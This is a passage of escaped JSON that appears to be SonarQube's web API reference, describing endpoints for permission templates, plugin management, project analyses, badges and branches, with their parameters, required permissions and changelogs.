\u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search_templates\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List permission templates.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to permission template names that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;defau\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set_default_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Set a permission template as default.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;qualifier\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project qualifier. Filter the results with the specified qualifier. Possible values are:\\u003Cul\\u003E\\u003Cli\\u003ETRK - Projects\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;TRK\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TRK\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;templateId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template id\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;templateName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Template name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default Permission Template for Projects\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_template\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a permission template.\\u003Cbr /\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;description\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Description\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Permissions for all projects related to the financial service\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;id\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Id\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;af8cb8cc-1e78-4c4e-8c00-ee8e814009a5\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Financial Service Permissions\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;projectKeyPattern\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key pattern. Must be a valid Java regular expression\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;.*\\\\.finance\\\\..*\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/plugins\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage the plugins on the server, including installing, uninstalling, and upgrading.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;available\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the list of all the plugins available for installation on the SonarQube instance, sorted by plugin name.\\u003Cbr/\\u003EPlugin information is retrieved from Update Center. Date and time at which Update Center was last refreshed is provided in the response.\\u003Cbr/\\u003EUpdate status values are: \\u003Cul\\u003E\\u003Cli\\u003ECOMPATIBLE: plugin is compatible with current SonarQube instance.\\u003C/li\\u003E\\u003Cli\\u003EINCOMPATIBLE: plugin is not compatible with current SonarQube instance.\\u003C/li\\u003E\\u003Cli\\u003EREQUIRES_SYSTEM_UPGRADE: plugin requires SonarQube to be upgraded before being installed.\\u003C/li\\u003E\\u003Cli\\u003EDEPS_REQUIRE_SYSTEM_UPGRADE: at least one plugin on which the plugin is dependent requires SonarQube to be upgraded.\\u003C/li\\u003E\\u003C/ul\\u003ERequire \u0026#39;Administer System\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;cancel_all\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Cancels any operation pending on any plugin (install, update or uninstall)\\u003Cbr/\\u003ERequires user to be authenticated with Administer System permissions\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;install\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Installs the latest version of a plugin specified by its key.\\u003Cbr/\\u003EPlugin information is retrieved from Update Center.\\u003Cbr/\\u003EFails if used on commercial editions or plugin risk consent has not been accepted.\\u003Cbr/\\u003ERequires user to be authenticated with Administer System permissions\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The key identifying the plugin to install\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;installed\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the list of all the plugins installed on the SonarQube instance, sorted by plugin name.\\u003Cbr/\\u003ERequires authentication.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response field \u0026#39;requiredForLanguages\u0026#39; is added for plugins that support it\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;documentationPath\u0026#39; field is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Authentication check added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;documentationPath\u0026#39; field is added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The fields \u0026#39;compressedHash\u0026#39; and \u0026#39;compressedFilename\u0026#39; are added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;filename\u0026#39; field is added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;fileHash\u0026#39; field is added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;sonarLintSupported\u0026#39; field is added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;updatedAt\u0026#39; field is added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;f\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of the additional fields to be returned in response. No additional field is returned by default. Possible values are:\\u003Cul\\u003E\\u003Cli\\u003Ecategory - category as defined in the Update Center. A connection to the Update Center is needed\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;category\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;pending\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the list of plugins which will either be installed or removed at the next startup of the SonarQube instance, sorted by plugin name.\\u003Cbr/\\u003ERequire \u0026#39;Administer System\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;documentationPath\u0026#39; field is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;documentationPath\u0026#39; field is added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.0\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;uninstall\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Uninstalls the plugin specified by its key.\\u003Cbr/\\u003ERequires user to be authenticated with Administer System permissions.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The key identifying the plugin to uninstall\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Updates a plugin specified by its key to the latest version compatible with the SonarQube instance.\\u003Cbr/\\u003EPlugin information is retrieved from Update Center.\\u003Cbr/\\u003ERequires user to be authenticated with Administer System permissions\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The key identifying the plugin to update\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;updates\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Lists plugins installed on the SonarQube instance for which at least one newer version is available, sorted by plugin name.\\u003Cbr/\\u003EEach newer version is listed, ordered from the oldest to the newest, with its own update/compatibility status.\\u003Cbr/\\u003EPlugin information is retrieved from Update Center. Date and time at which Update Center was last refreshed is provided in the response.\\u003Cbr/\\u003EUpdate status values are: [COMPATIBLE, INCOMPATIBLE, REQUIRES_UPGRADE, DEPS_REQUIRE_UPGRADE].\\u003Cbr/\\u003ERequire \u0026#39;Administer System\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/project_analyses\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage project analyses.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;create_event\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a project analysis event.\\u003Cbr\\u003EOnly event of category \u0026#39;VERSION\u0026#39; and \u0026#39;OTHER\u0026#39; can be created.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;analysis\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Analysis key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;category\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Category\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;OTHER\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;VERSION\u0026#34;, \u0026#34;OTHER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5.6\u0026#34;, \u0026#34;maximumLength\u0026#34;: 400 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a project analysis.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the project of the specified analysis\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;analysis\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Analysis key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL1\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete_event\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a project analysis event.\\u003Cbr\\u003EOnly event of category \u0026#39;VERSION\u0026#39; and \u0026#39;OTHER\u0026#39; can be deleted.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;event\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Event key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FLz\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search a project analyses and attached events.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Browse\u0026#39; on the specified project. \\u003Cbr\\u003EFor applications, it also requires \u0026#39;Browse\u0026#39; permission on its child projects.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Add response field \u0026#39;qualityProfile\u0026#39; for events related to quality profile changes\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add response field \u0026#39;detectedCI\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add QualityGate information on Applications\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;category\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Event category. Filter analyses that have at least one event of the category specified.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;OTHER\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;VERSION\u0026#34;, \u0026#34;OTHER\u0026#34;, \u0026#34;QUALITY_PROFILE\u0026#34;, \u0026#34;QUALITY_GATE\u0026#34;, \u0026#34;DEFINITION_CHANGE\u0026#34;, \u0026#34;ISSUE_DETECTION\u0026#34;, \u0026#34;SQ_UPGRADE\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;from\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter analyses created after the given date (inclusive). \\u003Cbr\\u003EEither a date (server timezone) or datetime can be provided\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2013-05-01\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;to\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter analyses created before the given date (inclusive). \\u003Cbr\\u003EEither a date (server timezone) or datetime can be provided\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19 or 2017-10-19T13:00:00+0200\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_event\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a project analysis event.\\u003Cbr\\u003EOnly events of category \u0026#39;VERSION\u0026#39; and \u0026#39;OTHER\u0026#39; can be updated.\\u003Cbr\\u003ERequires one of the following permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified project\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;event\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Event key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL5\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5.6\u0026#34;, \u0026#34;maximumLength\u0026#34;: 400 } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/project_badges\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Generate badges based on quality gates or measures\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;measure\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Generate badge for project\u0026#39;s measure as an SVG.\\u003Cbr/\\u003ERequires \u0026#39;Browse\u0026#39; permission on the specified project.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The following metric keys are now deprecated: bugs, code_smells, security_hotspots, vulnerabilities\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;metric\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Metric key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;bugs\u0026#34;, \u0026#34;code_smells\u0026#34;, \u0026#34;coverage\u0026#34;, \u0026#34;duplicated_lines_density\u0026#34;, \u0026#34;ncloc\u0026#34;, \u0026#34;sqale_rating\u0026#34;, \u0026#34;alert_status\u0026#34;, \u0026#34;reliability_rating\u0026#34;, \u0026#34;security_hotspots\u0026#34;, \u0026#34;security_rating\u0026#34;, \u0026#34;sqale_index\u0026#34;, \u0026#34;vulnerabilities\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project or application key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;token\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project badge token\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;8bb493196edb5896ccb64582499895f187a2ae8f\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;quality_gate\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Generate badge for project\u0026#39;s quality gate as an SVG.\\u003Cbr/\\u003ERequires \u0026#39;Browse\u0026#39; permission on the specified project.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project or application key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;token\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project badge token\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;8bb493196edb5896ccb64582499895f187a2ae8f\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;renew_token\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Creates new token replacing any existing token for project or application badge access for private projects and applications.\\u003Cbr/\\u003EThis token can be used to authenticate with api/project_badges/quality_gate and api/project_badges/measure endpoints.\\u003Cbr/\\u003ERequires \u0026#39;Administer\u0026#39; permission on the specified project or application.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Application key can be used for project parameter.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project or application key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;token\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Retrieve a token to use for project or application badge access for private projects or applications.\\u003Cbr/\\u003EThis token can be used to authenticate with api/project_badges/quality_gate and api/project_badges/measure endpoints.\\u003Cbr/\\u003ERequires \u0026#39;Browse\u0026#39; permission on the specified project or application.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Application key can be used for project parameter.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project or application key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/project_branches\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage branch\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete a non-main branch of a project or application.\\u003Cbr/\\u003ERequires \u0026#39;Administer\u0026#39; rights on the specified project or application.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, 